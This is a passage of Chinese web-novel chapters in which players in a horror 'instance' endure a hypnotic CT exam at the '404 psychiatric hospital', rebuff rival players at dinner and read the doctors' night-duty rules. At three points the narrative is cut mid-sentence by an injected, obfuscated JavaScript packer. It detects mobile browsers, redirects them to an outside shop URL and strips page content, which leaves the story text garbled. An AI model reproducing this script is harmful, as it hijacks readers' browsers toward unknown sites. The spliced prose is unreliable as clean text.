乔一栗见去而复返的姜照,探头瞥了眼她肩上的兔子,压低声音惊讶道:“你家兔子这么快就回来了?有找到什么重要线索吗?” “有,等检查结束回病房再说。”姜照目光掠过前方频频瞥向她们的玩家,面无表情,故意提高了几分音量,“毕竟,我这里不是什么慈善组织,不接受无偿送线索。” 乔一栗顺着姜照的方向看过去,几个被戳穿心思的玩家瞬间尴尬地收回视线,她立刻心领神会,不再多言。 检查室很快就到,医生先行进入,玩家则被一开始为他们登记的女护士拦住。 她拿着登记表,锐利的目光在众人身上扫过一圈,最终落在姜照身上时,眼神骤然变得狠厉无比:“我念到名字的,进去检查,其他人在走廊休息区等候。” 姜照一看这眼神,就知道自己的结果了。 果不其然,下一秒,护士冰冷的声音便响了起来:“第一位,姜照。” 18. 404精神病院,祝您早日出院^…… 姜照无所谓地耸耸肩,边走边抬头默默扫了一眼这个老是针对自己的护士。 很好,都记下了,等她手动充完能以后,要把这些给她工作添麻烦的人都鲨了,一个都别想跑! 她推门而入,一股刺鼻的消毒水味扑面而来,不由得微微蹙起眉头,稍作适应后,才抬眼打量起这间检查室。 房间很大,约莫七十平米,只有一台庞大的白色CT机,冰冷的金属外壳在灯光下泛着寒光,但奇怪的是,CT机旁边就是医生的办公桌,两者之间没有任何隔离措施。 医生的座椅背对着窗户,姜照顺着扫了一眼窗外的天空,有些疑惑,明明刚进副本的时候,阳光还算明媚,现在却变得灰蒙阴沉,衬得室内日光灯投下的光线愈发惨白。 医生见到姜照进来,从病历本上抬起头。 之前因为紧张,姜照一直没细看,如今有时间好好观察,才发现这医生长得还挺人模狗样,看起来三十出头,戴着一副金丝边眼镜,白大褂下领带打得一丝不苟,整个人透着一股说不清的冷漠。 他示意姜照先坐到自己对面的座椅上,准备先问几个问题,结果目光落在姜照肩头的伦纳身上,手里握笔记录的姿势顿时一僵:“你先前肩膀上有这只兔子吗?” 他的声音很平静,但姜照还是敏锐地注意到,他瞳孔不悦地收缩了一下。 姜照面不改色,甚至露出一个无辜的笑容:“他怕生,之前一直躲在我衣服里面,我这人营养不良比较瘦,你没察觉到是正常的。” 医生:“……” 他板着脸,语气严肃:“医院禁止饲养宠物,请立刻带走。” 你做梦呢? 姜照在心里冷笑,面上却摆出一副“我有病,我就要无理取闹”的架势:“他才不是宠物!他是我的一部分,没有了他,我就是不完整的,你们这样做是在杀死我!” 从某种意义上讲,姜照说的都是大实话。 伦纳是她专属技能【镜中假面】的衍生物,说他是自己的一部分也没毛病,而没有伦纳,她的战力直接少了一大半,在这种危机四伏的副本里,也确实相当于是在慢性杀死她了。 医生不为所动,镜片后的眼睛像两口深不见底的古井:“医院有医院的规定。” 见此,姜照冷笑一声:“我有病,你们要是不允许我随身携带我的兔子,我就发疯给你们看。我现在就开始尖叫,我说到做到。” 典型的无理取闹的患者。 大部分医闹就是这么来的——不讲道理,不按流程,用情绪碾压一切规则。 医生死死盯着这个从见面开始,就不知道在搞什么事的棘手病人,握笔的手不自觉用,随着“啪”的一声,那支看起来价格不菲的钢笔就被他硬生生捏断了。 墨水溅在白皙的手背上,像是医生此时被姜照重创的内心。 姜照毫不畏惧地反盯了回去,坚决捍卫自己的权益。 两人对峙了足足十秒。 最后还是医生做出了妥协让步。 他深吸一口气,懒得再和姜照沟通,仿佛多和姜照说一个字都是对自己职业素养的侮辱,伸手一指旁边的CT机,命令道:“躺上去。” 姜照质疑:“这CT机有辐射的吧?你不需要去隔离室吗?” “不需要。”医生原本面无表情的脸渐渐露出几分不耐烦,再次重申一遍,声音里已经带上了压抑的火气,“躺上去。” 姜照无视他的怒火,宛如一台只知道抬杠的ETC,继续质问:“你不需要,我需要吗?你们这设备合法吗?有辐射安全许可证吗?我不会做完你这检查直接归西了吧?或者变成什么奇奇怪怪的怪物?” 医生终于忍受不了,咬牙切齿地说道:“我说过了,身体检查并没有什么危险,只是确定你们的病症,方便后续确定治疗方案!这是例行检查,每个病人都要做!” 姜照眯了眯眼,捕捉到话中的关键信息——“每个病人都要做”。 也就是说,这是副本的必经流程,副本大概率不会在这个刚入副本还没有多少线索的环节设置死局。 “行吧。”她这才歇了继续问下去的心思,慢吞吞地走向CT机。 空气中弥漫着的消毒水味越来越浓重,不知道是不是姜照的错觉,她总感觉里面混合着某种说不清道不明的甜腻气息,让人莫名有些烦躁。 临上去的时候,怕伦纳受到辐射影响,姜照还不忘把伦纳放到医生的办公桌上,认真脸威胁道:“帮我看好我的兔子,他要是被影响到了,我就炸了这个医院,我说到做到。” 医生懒得搭理姜照的胡言乱语,或者说,他已经彻底放弃了和这个女人进行正常沟通。 见她终于躺在机器上,他这才转到侧方的操作台上,正式开始检查。 姜照仰面躺在冰凉的检查床上,头顶的CT机圆环缓缓移动,发出低沉的嗡鸣。 她之前并没有做过脑部CT的检查,只觉得眼前突然出现一阵强烈的白光,随后身体就像是陷进一种近乎实质的、粘稠的乳白色液体中,开始沉沉浮浮。 与此同时,浓重的睡意袭来。 姜照隐隐听到有人问自己一些奇怪的问题,声音像是从很远的地方传来,然后直接在她脑海中响起,带着一种诡异的共鸣感。 “你最讨厌什么?” “我最讨厌什么?”姜照无意识重复一遍,感觉自己现在浑身轻飘飘的,提不上劲儿,连带着意识都昏昏沉沉的。 她的思维变得迟钝,像是被裹在厚重的棉花里喘不上气,听到问题,也只是凭本能回答,声音轻得像是在梦呓:“最讨厌……最讨厌上班。” “最喜欢什么呢?” “没……没有。” “如果还活着,你最想做的事是什么?” “最想做的事?”姜照意识到自己现在的状态不对劲,她就像被困在一个噩梦里一样,想要用力睁开眼睛醒来,可是眼皮却格外沉重。 察觉到姜照的反抗,一阵尖锐的耳鸣突兀地在她脑海中震荡开来,让她的意识一时间更不清醒。 那声音又问了一遍,语气更急,带着某种蛊惑的意味:“姜照,如果还活着,你最想做的事是什么?” “我……我最想做……”姜照感觉世界在自己眼前以光速旋转,色彩与光线扭曲成诡异的漩涡。 她像是想起什么快乐的事,嘴角不受控制地上扬,笑嘿嘿地说道:“我最想做的就是……有人给我一个毁灭世界的按钮,我一键摁下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392970|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,直接毁灭这个让我不停工作的垃圾世界!” 她的声音越来越轻,却带着一种让人毛骨悚然的愉悦:“嘿嘿……不上班……只要毁了一切……我就能不上班……” …… “好了,检查结束,你可以清醒过来了。” 随着医生的一句话,姜照忽然从之前那种意识恍惚的状态中解放出来。 她猛地坐起来,动作快得像是一只受惊的猫,眼神瞬间锐利地刺向医生:“你对我做了什么?为什么我不记得刚才身体检查的内容?” 因为剧烈的起身动作,还有些混沌的头脑更显沉重,姜照不得已扶住感觉有十吨重的脑袋缓解这种不适感。 “你病得很严重,我让你忘掉那些内容,是为了不让你产生过大的压力,以免影响病情的治疗。”医生的表情没有任何变化,仿佛刚才什么都没发生过。 他将伦纳提起来,动作算不上温柔,甚至带着几分嫌弃,一把扔给起身来到自己身前的姜照,随即开始在一个形似病历本上的东西上写鬼画符。 “好了,你的检查结束,可以出去了。” 姜照小心翼翼接到伦纳,发现对方正闭着眼睛,浑身软绵绵地躺在自己手里。 她心头一惊,神情瞬间冰冷,当即猛拍办公桌,大声质问的声音里带着真切的怒意和一丝不易察觉的恐慌:“你把我的兔子怎么了?!” “他只是睡着了,应该马上就会醒过来。”医生看着自己猝不及防再次报废的钢笔头,终于不再压抑声音里的怒意,“我说了,你的检查结束,可以出去了。” 话音刚落,姜照就察觉到自己手心里的温热身体动了动。 她急忙低头去看,伦纳果然渐渐清醒过来,长耳朵抖了抖,红宝石般的眼睛缓缓睁开,眼神还有些迷茫,正用一种“我刚才怎么了”的表情看着她。 慌张的心这才又落回到实处,姜照轻轻舒了口气,随即又冷冷看了一眼医生:“要是他后续有什么身体问题,我不会放过你的。我说到做到,你最好祈祷他没事。” 说罢,她猛地转身拉开门离开,门板撞在墙上发出巨大的声响。 护士见姜照出来,刚想嘲讽两句“怎么这么久,该不会是查出什么绝症了吧”,就被姜照冰冷的视线瞪回去:“我现在心情不好,不想搭理你,你要是再敢惹我,我不介意让你看看什么叫做真正的医闹。” 大不了就互相伤害,咱们谁都别想上好这个班! 护士当即一愣,像是没料到还有敢这么和自己说话的病人,错过了最好的回怼时机。 她看着姜照飘然离去的背影,暗自咬牙,手指紧紧攥住登记表,指节泛白。 下次,下次一定要怼回去! “第二位,乔一栗。” 听到自己的名字,乔一栗没有意外,却还是神情一凛,下意识和迎面走来的姜照对上视线。 两人擦肩而过时,姜照故意放慢速度,借着身体的遮挡,凑近她耳边迅速小声说道:“检查时的记忆我记不清了,但是大概率没有危险,这个检查可能包含催眠的内容,你可以注意一下,别被问出太多底细。” 乔一栗小幅度点头,这才在护士恶狠狠地视线里,挺直脊背,大步进入检查室。 19. 404精神病院,祝您早日出院^^…… 姜照回到休息区最后一排座椅上坐着,这里视野最好,可以观察到其余人的动静。 她低头看着怀里的伦纳,小家伙还是有些不精神,耳朵耷拉着,红宝石般的眼睛半睁半闭,安静得不正常——按照他平时的风格,现在早该拉着自己问这问那了。 “怎么回事?”她压低声音,用只有两人能听到的音量问道,“你是被那个医生做了什么手脚才昏了过去吗?” 伦纳用力晃了晃自己的脑袋,绒毛随着动作轻轻颤动,这才感觉清醒几分:“应该不是,我能确定他没对我做什么……我本来是想替你监督那个医生的操作,可是你一进去那个机器做检查,我就感觉意识里有一股不可抗力的睡意袭来,像是有什么东西在强制我进入休眠状态。” 他又往姜照的怀里缩了缩:“不过我能感觉到这个检查对你没有伤害,你不用担心。” 姜照眉头一皱,手指无意识地摩挲着伦纳柔软的背脊:“虽然没有危险,但这个检查有古怪是肯定的,等乔一栗回来,再问问她的情况吧。” 检查很快,不多时,乔一栗就皱着眉从检查室出来。 她的脸色比进去时苍白了很多,眼神有些涣散,一出门就意识恍惚地搜寻姜照的身影,直到看到姜照在最后一排,才步伐虚浮地走过来。 姜照见状,连忙拍拍身旁的座位,示意乔一栗坐下再说:“感觉怎么样?” 乔一栗坐下缓了好久,这才才稳住心神,随即面色严肃,压低声音道:“跟你一样,什么都记不清了,像是睡了一觉,到现在还感觉意识昏昏沉沉的,但是……” 她顿了顿,眼神变得有些古怪:“我总感觉,好像有什么人在说话。” “我也隐约记得有人好像在问我什么。”姜照揉了揉眉间,“感觉就像是被困在一场醒不来的噩梦里,明知道自己在做梦,却怎么也睁不开眼睛。” “形容得很贴切。”乔一栗惨白着脸,指节抵住太阳穴的位置缓缓按压,试图驱散那种混沌的感觉,“我先休息一下,不知道这检查究竟干了些什么,我感觉现在浑身没有力气,而且不知道为什么心情很烦躁,有一种无处发泄的憋闷感。” 姜照不知道为什么乔一栗反应会如此强烈,见她确实脸色十分不好,赶紧让她闭眼休息,声音不自觉地放轻:“你休息吧,这地方处处透着古怪,状态不好的话,接下来的副本探索会很受影响,等其他人检查完我叫醒你。” 乔一栗胡乱点点头,眼皮沉重地耷拉下来,手探进衣服宽大的口袋里,摸索片刻,将一个黑色的不明物体塞到姜照怀里。 那东西不大,却带着金属特有的冰凉触感,沉甸甸地压在手心。 乔一栗的声音虚弱却坚持:“这个拿好,可以用来防身。” 姜照借着伦纳毛茸茸的身体掩盖,低头看了一眼,瞬间惊吓地吸了口气—— 是一把小巧的手枪。 枪身漆黑,在走廊惨白的灯光下泛着冷冽的哑光。 二十几年的守法公民习惯让姜照的肌肉记忆先于大脑做出了反应,她心脏狂跳,下意识做贼心虚地藏起这把枪,掌心沁出的冷汗让金属表面变得湿滑,紧张得仿佛下一秒就会有警察冲出来将她这个手持枪支的危险分子绳之以法。 “第四名,□□。” 随着护士冰冷的声音响起,姜照这才想起来自己是在脱离现实的副本,虚惊一场。 她神色复杂地看了一眼随手就掏出来这种杀伤力武器的乔一栗,目光在对方苍白虚弱的侧脸上停留片刻,又下意识摸了摸口袋里的那把凶器。 看来能独自一人闯到B级副本,还是有点说法的。 “小照。” 就在这时,陈淑兰的声音倏地出现在脑海里,听起来有些虚弱。 “兰姐,怎么了?”姜照听出来不对劲,立刻在意识中回应,眉头不自觉地锁紧,“出了什么事?怎么声音这么虚弱?你那边是什么情况?” “不清楚。”陈淑兰看到姜照状态不错,这才安心下来,声音里带着显而易见的疲惫,“你一进入这个副本,我就和你失去联系了,尝试了很多办法都联系不到你,直到刚才。” “刚才不知道为什么,我的意识突然格外恍惚,然后再一清醒,就发现能和你沟通了。”她的声音越来越轻,带着浓重的困倦,“这地方……不对劲。” 闻言,姜照心沉了沉,她原以为陈淑兰的沉默是因为新到一个地方,正忙着四处瞧瞧,之前她在休息处欣赏落日风景的时候,也习惯不说话,却没想到是遭遇了未知的危险。 “那兰姐现在状态怎么样?我还以为姐是在安静观察副本,才不说话的。”愧疚感像细小的蚂蚁啃噬着心脏,“是我的疏忽,没早点发现姐的异常。” “没有的事,别多想,只是这个副本有古怪,小照你可得小心啊。”陈淑兰叮嘱了一下,“姐现在困得很,先去眯一觉,让那位兔小哥照顾好你。” 陈淑兰的意识声音越来越微弱,最后几个字几乎像是梦呓:“记住,别……逞强……” “嗯,兰姐放心去休息吧。”姜照有些懊恼,是自己的疏忽才让兰姐和伦纳出现这么多问题。 她暗暗下定决心:下次副本还是要更小心一点,不能再让同伴因为自己的大意而陷入被动。 检查室的门陆续打开关上,其他玩家拖着同样沉重的脚步走出来,每个人的脸上都挂着和乔一栗相似的恍惚。 这次参与副本的玩家人数本就不多,检查流程虽说诡异,速度却不算慢,全部检查完两个小时差不多的时间,刚好赶到了晚饭的节点。 此时窗外不知何时已经暗了下来,血红色的夕阳将医院走廊渲染成一种病态的暖色调。 姜照看着身旁依旧闭目养神的乔一栗,轻轻推了推她的肩膀:“检查已经结束,该醒醒了,一栗。” 乔一栗本身因为精神状态不好,加之处在危险的副本环境,本身也只是闭眼缓解精神疲惫,现在被姜照一碰,当即就醒了。 两人和其他玩家一起沉默地等待着。 没过多久,一直负责检查的医生推门出现在了所有玩家面前,他面容依旧严肃,但姜照敏锐地注意到他眼镜后面的瞳孔泛着一丝诡异的狂热。 “请各位安心享用今晚的晚饭,我们会根据刚刚各位的检查结果,尽快针对你们各自的病情,确定最终的治疗方案。” “希望接下来的日子里,各位患者都能积极配合医护人员的治疗,不要做出一些无谓的反抗。”他刻意停顿了一下,镜片后的目光扫过众人,带着一种审视物品般的冷漠,最后停留在姜照身上,语气陡然加重了几分,带着明显的警告意味,“尤其是极个别总是不守规矩、动不动就拿医闹来威胁医护人员的患者。” 说完,他冷哼一声,没有再给众人任何反应的时间,转身便快步离开这里,背影里透着一丝不易察觉的急促。 鉴于医生的指向性极强,其他玩家瞬间齐刷刷向姜照投来情绪不明的视线——有探究,有忌惮,有幸灾乐祸,还有一种隐晦的庆幸。 有这么个刺头主动吸引仇恨,想必他们后续能少些麻烦。 毕竟,在恐怖副本里,成为“显眼包”往往意味着成为第一个被盯上的猎物。 姜照将这些复杂的目光尽收眼底,在心里默默告诫自己,在副本里没必要在意旁人的看法,学会无视才是生存之道。 随即,她还是选择把怀里的伦纳举到自己脸前,用小小的身子挡住旁人的注视,压低声音,悄悄凑到乔一栗身边,说出了自己心里刚刚升起的不好预感:“这医生刚才看咱们的眼神不太对劲,不像是在看病人,像是在看某种实验材料……他不会是个医学疯子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399985|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后续要把咱们改造了吧?” “不排除这种可能,毕竟医院是恐怖片的经典背景之一。”休息了这一会儿,乔一栗的脸色虽说依旧带着病态的苍白,精神却好了许多,说话也有了力气,不再像刚才那样虚浮。 她下意识地转头环顾了一圈周围其他玩家的脸色,发现每个人都和自己一样,脸色惨白憔悴、神色疲惫,随即才有些惊讶地转头看向身边的姜照,对方几乎已经彻底恢复了精力,不由得开口疑惑道:“对比我们所有人做完检查都萎靡不振的样子,你受到的负面影响好像很少,现在基本看不出之前精神恍惚的样子。” 经乔一栗一提醒,姜照才发现自己的不对劲。 她确实感觉良好,对比其他人,甚至可以说是精力充沛,很快她就联想到伦纳和陈淑兰精神不济的现状,一个猜测浮现在脑海—— 大概率是伦纳和陈淑兰分担了自己这次检查的负面作用。 他们和自己之间存在的契约关系,让他们在刚才的检查中被动地吸收了那些针对自己精神的侵蚀,自己现在才能看起来精神饱满。 让他们两个受委屈了,回头一定得想办法好好补偿一下! 姜照在心里默默发誓,手指无意识地收紧,攥住了伦纳柔软的耳朵。 看到医生意有所指地警告了一下姜照,护士心情诡异得好起来了。 看来受到姜照折磨的人不止我一个,舒服了! 而且,在这里,医生的身份可不简单,他盯上姜照,姜照后面一定不会好过。 那种被患者反怼的不甘和憋屈,此刻都化作了某种阴暗的快意。 护士站在走廊的阴影里,嘴角抑制不住地上扬:“食堂就在一楼,免费,各位自行去就可以。” 留下这句话后,她就心情舒畅地飘然离去,脚步都比来时轻快了几分—— 主要是怕再多待一会儿,好心情会被姜照破坏掉。 副本里这两个关键的NPC接连离开,只留下一群玩家站在原地,面面相觑,一时间没人主动开口,气氛略显尴尬。 而在众人之中,唯独姜照依旧一副独自开朗的模样,丝毫没把刚才医生的警告放在心上,满心都是终于能吃饭的喜悦。 她伸手拉着身旁乔一栗的胳膊,兴致勃勃地就往电梯的方向走去,语气里满是期待:“终于可以去吃饭了,快走吧!” “电梯需刷员工卡启动。” 机械的女声从电梯的扬声器里传出,冰冷而不带感情。 一句话,冷姜照一个副本。 姜照盯着面前毫无反应的电梯面板,气得腮帮子都鼓了起来,咬牙切齿地吐槽:“我恨没有电梯的多层楼,更恨有电梯却不让我坐的!” 她瞪着那扇紧闭的金属门,仿佛要用目光在上面烧出一个洞来:“这破医院是不是故意的?故意把食堂放在一楼,然后让病人爬楼?这是什么康复训练吗?” 乔一栗有些好笑,看着姜照气鼓鼓的脸,轻声安抚道:“算了算了,不坐就不坐,去吃饭吧,你不是饿吗?就当饭前运动了。” 姜照憋着一肚子气,气鼓鼓地转身冲向楼梯,一路快步走到一楼食堂,好在眼前琳琅满目的自助式食堂,瞬间抚慰了她那颗被电梯伤到的脆弱小心脏。 她兴冲冲地走到餐台前,给自己盛了卖相绝佳的清炒笋丝、锅包肉,又端了一碗香气扑鼻的油泼面,搭配一碗鲜美的丸子汤,还不忘贴心地给伦纳单独点了一份没有加任何沙拉酱料的清淡蔬菜沙拉,和乔一栗找了个靠窗的位置坐下,美滋滋地准备开动。 就在这时,头顶上方忽然投下了一片浓重的阴影,将她面前的餐桌大半都笼罩其中。 姜照疑惑地抬起头,映入眼帘的,是两个一同进入副本的男性玩家。 她有点印象,这两个人好像是被安排住在409号病房。 20. 404精神病院,祝您早日出院^^…… 此刻,两个人一左一右站在姜照和乔一栗的餐桌旁,像两扇突然合拢的门,将光线和退路都挡住了。 姜照缓缓放下手中的筷子,指尖轻轻搭在桌沿,而后慢悠悠抬起头,眼底藏着几分玩味,饶有兴致地扫过眼前两个不速之客。 她的嘴角维持着恰到好处的弧度,既不显得挑衅,也不显得软弱,是那种在职场里摸爬滚打几年后练就的、标准的“社交面具”。 右边身形偏高的男人,姜照隐约记得护士叫他周正,留着利落的寸头,额前碎发凌乱,眼神贼溜溜的,落在人身上时带着毫不掩饰的审视与算计,一看就不是善茬。 左边稍微矮一些的男人则是叫方河英,自始至终都微微低着头,厚重的刘海遮住大半眉眼,整个人蔫蔫的,但姜照注意到他的右手始终插在口袋里,手肘紧绷,肩膀微微耸起,整个身体都处于一种蓄势待发的状态,姿势很不自然。 周正率先打破沉默,扯了扯嘴角,露出一个皮笑肉不笑的笑容,目光肆无忌惮地上下打量着姜照与乔一栗。 “姜小姐、乔小姐,介意拼个桌吗?”他嘴上说着询问的话,手却已经不由分说地抓住了姜照身旁的椅子,猛地往外一拉,金属椅腿与地面摩擦发出刺耳的声响,“我们有点事想跟你聊聊……” 周正的话没来得及说完,变故突生。 姜照看似闲适地坐着,脚下却猝不及防地发力,猛地一脚踹向那把被拉开的椅子,力道又快又狠,椅子瞬间被踹得滑出老远,重重撞在旁边的桌腿上,发出一声闷响。 “抱歉,介意拼桌。”即便做了这么毫不留情的事情,姜照脸上依旧是一副笑盈盈的和善表情,客套、礼貌,因此显得格外挑衅,“我不喜欢吃饭的时候被陌生人打扰,更别说拼桌了,有什么事,你们站着说完就好,别耽误我们用餐。” 周正的脸色瞬间阴沉下来,眼底闪过一丝愠怒与错愕,显然没料到姜照会如此干脆利落地撕破脸。 不过只是一瞬,他很快收敛情绪,强行压下怒火,又换上那副虚伪的假笑:“姜小姐何必这么不给面子?我就想问问,为什么检查前我们遇到你们的时候,你们正在值班室门口?” “没必要绕来绕去,不如大家都直接点吧?”姜照闻言,反倒觉得好笑,索性单手拄着下巴,另一只手拿起筷子,轻轻挑起盘子里一片鲜嫩的菜叶,转头看向盘子旁边的伦纳,动作轻柔地将菜叶递到它嘴边,语气漫不经心,“你们来堵我俩,不就是想知道我们在值班室里,到底找到了什么线索吗?” 看着伦纳乖巧小口蠕动着吃下菜叶,模样格外可爱,姜照忍不住被逗笑,眼底漾起真切的温柔,随即才懒懒地抬了下眼皮,重新将目光投向脸色难看的周正与方河英,语气随意却带着十足的底气:“想知道线索也不难,拿积分做交换,我们可以考虑把消息卖给你们。” 周正没有立刻答应,先不说她们拿到的线索是否有价值,拿命挣来的积分谁舍得轻易给出去? 但他现在摸不透姜照的底细,也不敢贸然出手算计。 这女人从进入副本开始,行事就大胆得离谱,完全不按常理出牌,想一出是一出,被副本NPC针对还这么一脸淡然,更何况她的姓名读音,和之前系统广播里通报的、掀起退休变革的那个人一模一样,他生怕自己踢到铁板,惹上不该惹的麻烦。 思及此,周正彻底收敛了脸上虚假的笑意,看向姜照的眼神彻底沉了下来,思考一会儿问道:“你想要多少积分?” “这我做不了主。”姜照无所谓地耸耸肩,随即眼神轻飘飘地飘向对面的乔一栗,语气自然地将话题引到她身上,“我就是个刚到B级副本的新手,这次也就是跟着帮忙望望风、打个掩护,真正潜入值班室、找到关键线索的,是我对面这位乔小姐。” “至于要多少积分才能换线索,得由她来定价,我说了不算。” 乔一栗瞬间猜到姜照为什么说线索是自己得到的。 她就是之前系统广播里通报的那个掀起退休变革的关键人物,身份敏感,而副本里转账积分需要工号,一旦姜照自己交易,身份就会直接暴露,引来更多玩家的觊觎与麻烦。 所以姜照才把她推到前面,用她做掩饰,避开身份暴露的风险。 只是现在的问题是自己并不知道所谓的线索,交易必定不能在食堂进行。 想明白这点,乔一栗脑子转得很快,不过片刻就想到了一个合理的理由暂时打发走两人:“这个容我考虑一下再告诉你们。” “毕竟线索难得,这个线索还很重要,万一我们直接卖给你们,你们转头就当中间商,把消息二次贩卖,赚其他玩家的积分回血,那我们岂不是亏大了?这种赔本买卖,我可不做。” 听到这番话,姜照一直悄悄紧绷的身体瞬间放松下来,她原本还担心乔一栗没领会自己的意思,会露出马脚,现在看来乔一栗的反应很不错,作为同伴也很优秀,瞬间就明白了自己的用意。 只要自己的身份没有彻底暴露,其他人的猜测就只是猜测,没人会敢轻举妄动。 周正却没有轻易相信乔一栗的话,他之前暗中观察过这两人,不管怎么看,都是姜照行事果断、占据主导地位,现在姜照却说线索是乔一栗找到的,很难不去怀疑这是姜照为了掩饰自己身份编出来的谎话。 他狐疑地眯起眼睛,目光紧紧盯着乔一栗:“真的是你潜入值班室,找到的线索?” “怎么,周先生这是在质疑我的实力?”面对质疑,乔一栗直接态度强硬地怼回去。 带着几分稚气的娃娃脸上,第一次褪去了笑意,眼神变得冷漠又锐利:“虽说信不信是你的事,交易也是你情我愿,但如果你真的不相信的话,大可以放弃这场交易,没必要在这里浪费我们的时间。” 说完,她干脆利落地收回目光,再也没搭理周正和方河英,低下头专注地吃饭,摆出了一副不愿再多谈的姿态。 周正和方河英对视一眼,见两人态度坚决,再纠缠下去也讨不到好处,反而容易引来其他玩家的注意,只能悻悻作罢,没有再自讨没趣。 两人随便找了个离姜照和乔一栗不远不近的位置坐下,也开始用餐,可目光却始终若有若无地瞟向她们,显然没打算就此放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411173|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃,还在暗中盯着两人的动向。 姜照察觉到两人的目光,不动声色地抬眼,用眼神快速示意乔一栗,让她尽快吃完饭,两人一起回房间互通消息,商量后续对策。 乔一栗立刻领会了她的意思,加快了用餐的速度,没一会儿,两人就先后放下筷子,起身准备离开食堂。 就在两人即将踏出食堂门口的前一刻,姜照像是忽然想到了什么,脚步顿住,猛地转头看向身后。 此刻食堂里不少玩家都在暗中盯着她们,显然都听到了刚才的对话,打着线索的主意。 见此,姜照脸上瞬间绽开一抹灿烂又明媚的笑容,语气清亮,保证所有人玩家都能听得清清楚楚:“在这里跟各位说一声,我们手里的线索,不介意和大家交易。” “但是丑话说在前头,如果有谁想拿着这个消息二次贩卖,赚差价、抢利益,那不管买家还是卖家,都将会是我们在这个副本里的敌人。” “希望大家各自安分,不要互相找麻烦,免得都不好过。”她盈着笑意的眼神骤然一冷,闪过一抹狠厉,嗓音却依旧轻快,“毕竟,工作里,我最讨厌的,就是那些抢功劳、耍小聪明的同事了。” 说完,姜照和乔一栗对视一眼,两人径直离开。 一回到病房,乔一栗确定无人跟踪他们,反手关上房门,立刻调出自己的系统界面,朝着姜照努努嘴,语气认真:“快说吧,你打算以多少积分交易线索,我转给你。” 姜照先是愣了一下,随即连忙摆了摆手,笑着拒绝:“你就不用了,我们之前不是说好这个副本互相照应嘛,而且当时你也在旁边帮我留意动静,这线索拿到也有你的一份功劳。” “但是,实际我当时什么也没做啊,亲兄弟还得明算账呢。”乔一栗摇了摇头,态度十分坚持,不肯白白占这个便宜。 “那照你这么说,是不是后面我们每次找到线索,都要掰扯清楚谁出的力多、谁该给谁转积分?”姜照无奈地笑了笑,边说,边将肩头的伦纳轻轻放到自己的单人床中间,随后朝着乔一栗招了招手,“别想那些有的没的了,快过来看。” 乔一栗见姜照态度坚决,说得也有道理,才放弃转积分,只是心里暗自想着,后面在副本里一定要多留意,多帮姜照分担危险,好回报她的这份心意,这才快步到姜照床边,凑上前去看。 姜照从上衣口袋里拿出一张折叠整齐的纸张:“这是伦纳在值班室里看到誊写的《404精神病院医生值班守则》。” 乔一栗凑近一看,纸张上的字迹工整清晰,规则简单,罗列分明: “1.当天21:00-次日9:00为医生夜间值班时间,需每两个小时查房一次,不得擅自离岗、漏查。” “2.若值班期间,遇到未在病房休息的患者,需及时使用镇定剂,确保患者及其他人员人身安全。” “3.时刻谨记404精神病院无未生病患者,若发现患者实际并未生病,请立刻进行抹杀处理。” “4.请妥善保管好所有患者的病历本,严禁患者触碰,以防患者未达到康复标准前,自行出院。”